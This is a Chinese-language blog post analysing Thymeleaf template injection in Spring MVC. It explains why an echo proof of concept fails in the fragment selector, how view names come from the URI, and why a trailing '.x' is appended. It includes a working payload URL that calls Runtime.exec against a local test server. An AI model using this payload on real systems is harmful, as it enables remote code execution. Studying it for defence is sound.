    测试发现fragment方法使用回显POC没法回显

    单步调试发现原因是因为payload位置的问题

    片段选择器,templatename::selector

    fragment中payload前面有::,所以payload在selector位置,这里会抛异常,导致没法回显成功。

    而在templatename位置不会。

    Path URI

    @GetMapping("/doc/{document}")
    public void getDocument(@PathVariable String document) {
        log.info("Retrieving " + document);
        //returns void, so view name is taken from URI
    }
    
    http://127.0.0.1:8090/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator.app%22).getInputStream()).next()%7d__::.x
    

    这时返回值为空,并没有返回视图名,此时的视图名会从 URI 中获取,实现的代码在org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#getViewName

    public String getViewName(HttpServletRequest request) {
            String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
            return this.prefix + this.transformPath(lookupPath) + this.suffix;
        }
    
     public String getViewName(HttpServletRequest request) {
            String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
            return this.prefix + this.transformPath(lookupPath) + this.suffix;
        }
    
        @Nullable
        protected String transformPath(String lookupPath) {
            String path = lookupPath;
            if (this.stripLeadingSlash && lookupPath.startsWith("/")) {
                path = lookupPath.substring(1);
            }
    
            if (this.stripTrailingSlash && path.endsWith("/")) {
                path = path.substring(0, path.length() - 1);
            }
    
            if (this.stripExtension) {
                path = StringUtils.stripFilenameExtension(path);
            }
    
            if (!"/".equals(this.separator)) {
                path = StringUtils.replace(path, "/", this.separator);
            }
    
            return path;
        }
    
    
    public static String stripFilenameExtension(String path) {
        int extIndex = path.lastIndexOf(46);
        if (extIndex == -1) {
            return path;
        } else {
            int folderIndex = path.lastIndexOf("/");
            return folderIndex > extIndex ? path : path.substring(0, extIndex);
        }
    }
    

    image-20220501012540185

    stripFilenameExtension方法会把.后面的内容给截断掉。这也是为什么需要在最后面加入.xxx的原因。

  • 相关阅读:
    万网免费主机wordpress快速建站教程-域名绑定及备案
    java小算法—大衍数列
    Core Data使用之一(Swift): 保存
    Swift 添加到TableView实现动画效果
    Swift 动态创建提示框
    Swift分割字符串
    Swift去除两边的特定字符(空格或其它)
    windows 属性
    String 输出{}
    c# 正则表达式的用户
  • 原文地址:https://www.cnblogs.com/nice0e3/p/16212784.html
Copyright © 2020-2023  润新知